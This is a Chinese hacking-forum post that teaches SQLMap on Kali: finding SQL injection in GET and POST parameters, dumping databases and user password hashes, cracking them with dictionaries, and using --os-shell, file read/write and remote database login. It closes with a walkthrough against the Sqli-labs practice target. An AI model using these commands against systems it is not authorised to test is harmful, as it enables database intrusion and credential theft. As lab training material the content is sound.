跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

SQLMAP LINUX KALI 使用教程及介绍

精选回复

发布于

一、SQLMap 打开方式

① 点点点 :采用这种方法打开的 SQLMap 终端是没有后接其它命令的,系统实际上默认执行的是 sqlmap -h 帮助命令,系统会列出相关使用方法

image.png

② 命令行直接敲 sqlmap 命令 :sqlmap 实际上是一个 python 脚本,已写入环境变量

image.png

二、SQLMap 基本操作

网页传参方式多为 GET 和 POST 两种

1. GET 探测是否可被注入

 sqlmap -u [url?id=x]		# get方式探测当前页面是否可被注入,所有id参数值全部写上
 sqlmap -u "[url?id=x]"		# 多个id值则需要使用引号引起来
# 实际执行命令时去掉[]大括号

一些系统回显提示 :

① 系统已猜测到数据库为 Mysql ,询问是否需要跳过其它数据库类型验证 :

image.png

② 确认探测级别 :

  • 数字越小,使用的脚本越少,探测数据越少,探测速度越快 ;反之则反
  • 默认为 1 级,基本上所有参数都会扫一遍 ;2 级会查 cookie ,3 级会查 session ,以此类推

image.png

③ 测试中 :testing 值表示正在使用脚本测试,测试完毕后会回显测试报表

image.png

第一次探测时耗时可能有点长,系统会将探测的数据缓存,后续再次探测时速度会有所提升

关注回显中的粗体字( INFO字段 ) ,这些内容基本上已被系统确定可被注入

image.png

④ 探测完毕 :查看报表,下图中显示了 4 种可被注入的方式(漏洞)

image.png

2. GET 获取数据库字段(获取所有)

获取当前数据库所有库表列,适用于小站点(大站点内容太多)

 sqlmap -u [url?id=x] --dump	# 若没有接其它参数直接dump,表示一行一行拿所有数据

一些系统回显:

① 抓到了第一张表,数据库名字 :test ,表 :person ,字段 :两行

image.png

② 继续往后抓,在 users 表这里碰到了 password 密码字段 :password 数据为加密数据

  • do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

    是否需要解密 ?

    MySQL 自带解密工具,若确认解密则使用解密工具开始解密,反之则原样抓取

  • do you want to crack them via a dictionary-based attack? [Y/n/q] ( 是否需要使用字典爆破 ?)y

    若确认爆破,则系统会要求选择字典,2 - 3 为选择自己的字典,1 为 SQLMap 自带的一本常用字典

image.png image.png

③ 若顺利爆破,后续无其它需要手动确认的选项,则自动往后抓取并回显内容,直至抓取结束

获取当前数据库所在的数据库服务器上所有的数据库里的库表列,适用于小站旁站

 sqlmap -u [url?id=x] --dump-all	# 操作和dump类似

image.png

3. GET 获取数据库字段(精确获取)

按照 库 - 表 - 列 的顺序依次精确获取

获取数据库名

① 获取当前站点使用的数据库名

 sqlmap -u [url?id=x] --current-db

image.png

② 获取当前站点所在数据库服务器上所有数据库名

 sqlmap -u [url?id=x] --dbs

image.png

针对库获取对应的表

 sqlmap -u [url?id=x] -D test --tables	# 获取test库里的表

image.png

针对表获取里面的列

 sqlmap -u [url?id=x] -D test -T users --columns	# 获取test库里users表里的列

按照开发命名规范,password 和 username 等敏感字符里存放的都是其对应的数据

image.png

缩小列的范围,只获取所需列里面的数据 :

 sqlmap -u [url?id=x] -D test -T users -C "username,password" --dump

image.png

库表可以后可接 dump 命令 ,例如 :

 sqlmap -u [url?id=x] -D test --dump	# 获取test库里的所有内容
 sqlmap -u [url?id=x] -D test -T users --dump	# 获取test库下users表里的所有内容

4. GET 多参数情况

多参数需要使用引号引起,同时,判断一个参数是否可被注入就看其是否调用数据库查询数据,调用数据库查询对应数据则可被注入,反之没有调用数据库查询数据则不可被注入

假设现在数据库内有两个参数值 :df 值和 id 值

 sqlmap -u "url?df=1&id=1" --dbs 	# 与前面的单参数情况操作类似

5. POST 参数情况

同一个页面使用 POST 和 GET 两种方式进行探测对于 SQLMap 来说是两个完全不同的页面

post 方式在 url 中不会显示参数值,在网站中一般使用表单以 post 形式将数据传送到服务器,对于 SQLMap 则使用 --data ”键值对“ 参数模型去体现参数形式,示例如下 :

 sqlmap -u [url] --data "id=1"		# --data后接参数值并使用引号引起

image.png

POST 方式查 库-表-列 的命令与 GET 方式一致,唯一区别在于使用 --data 参数模型,这个不可删除

 sqlmap -u [url] --data "id=1" --dbs	# 查库
 sqlmap -u [url] --data "id=1" -D  --tables	# 查库下的表
 sqlmap -u [url] --data "id=1" -D  -T  --columns	# 查表下的列
 sqlmap -u [url] --data "id=1" --dump	# 查当前库所有内容

POST 多参数情况 :&

 sqlmap -u [url] --data "id=1&df=1"

三、SQLMap 进阶:参数讲解

 --current-user		# 列出当前网站使用的数据库用户

image.png

 --users			# 列出数据库所有用户

image.png

 --passwords		# 查询数据库用户的密码(弱口令)

image.png

如果当前为 MYSQL 客户端,且对方数据库没有限制登陆来源,则此时拿到账户和密码之后可以远程登陆对方数据库

  sqlmap -d "mysql://用户名:密码@ip:3306/库名"		# 远程登陆对端数据库
  --is-dba			# 检查当前用户是否为数据库管理员
  --sql-shell		# 执行自定义SQL语句,使用q退出

image.png

  --os-shell		# 执行任意操作系统命令(有权限限制)

image.png

在使用此命令时需要当前用户为数据库管理员且有文件写权限、需要知晓网站目录绝对路径、关闭魔术引号

image.png image.png image.png

  --os-cmd		# 与--os-shell类似,但一次只能执行一条命令

image.png

  --file-read "目标文件的绝/对/路/径"		# 读取文件(下载文件)

image.png

  --file-write "要上传文件的绝/对/路/径" --file-dest "目标地址的绝/对/路/径"	
  # 上传文件(写文件),权限可能只在当前家目录

image.pngimage.png


四、课下 :Sqlilabs 靶场实战

任务要求 :利用今天所学 SQLMap 知识在 Sqlilabs 靶场中的第 1 和 11 关实践,并拿到数据库里的账户和密码等数据

关卡1 :GET  关卡11 :POST

1. 环境搭建:网络配置

要求 :

  • Kali 和 Win 7 在同一个网段内,如果 Kali 没有地址可使用 dhclient 命令获取地址

  • 两台主机测试连通性,Kali 访问 Win7 Sqli 靶场站点(如果 Kali 无法 Ping 通 Win7 而反之可以,则怀疑 Win7 防火墙拦截了 Kali 地址,可选择自定义 Win7 的防火墙规则放行 Kali ,或者直接关闭其防火墙)

image.png image.png image.png image.png

2. 关卡1:探测是否可被注入

image.png

SQLMap 使用 GET 方法探测此站点是否可被注入,探测结果如下图 ,发现漏洞,可被注入 :

image.png

3. 关卡1:获取数据库信息

获取数据库名

  • 当前站点所在数据库服务器上所有的数据库 :

    image.png
  • 当前此站点使用的数据库 :

image.png

通过上方获取到的数据库 security 探测其下面的表,如图所示 :

image.png

获取 users 表里的列 :

image.png

获取 username 和 password 详细信息 ,拿到我们所需的数据 :

image.png

4. 关卡1:实验结果

通过对关卡1进行 GET 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。


5. 关卡11:探测是否可被注入

image.png

通过观察站点页面,要求输入账户密码,且在页面 URL 后添加参数时页面无任何变化,猜测此站点数据传输方式不是 GET

SQLMap 使用 POST 方法探测此站点是否可被注入 :

  • 当使用 --data 参数模型传递页面上显示的 username 和 password 参数时,结果显示这两个参数不是动态的,且探测结果失败,显然参数不对,使用 Wireshark 对其进行抓包并追踪流,得到实际参数 :

image.png image.png

  • 使用上方得到的参数再次使用 POST 方法,探测结果如下图 ,发现漏洞,可被注入 :

image.png

6. 关卡11:获取数据库信息

获取数据库名

  • 当前站点所在数据库服务器上所有的数据库 :

image.png

  • 当前此站点使用的数据库 :

image.png

通过上方获取到的数据库 security 探测其下面的表,如图所示 :

image.png

获取 users 表里的列 :

image.png

获取 username 和 password 详细信息 ,拿到我们所需的数据 :

image.png

7. 关卡11:实验结果

通过对关卡11进行 POST 探测显示其存在漏洞,可被注入 。然后对其 库-表-列 进行深入探测,最终发现 users 表,拿到实验所需的账户和密码等数据,实验完成 。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。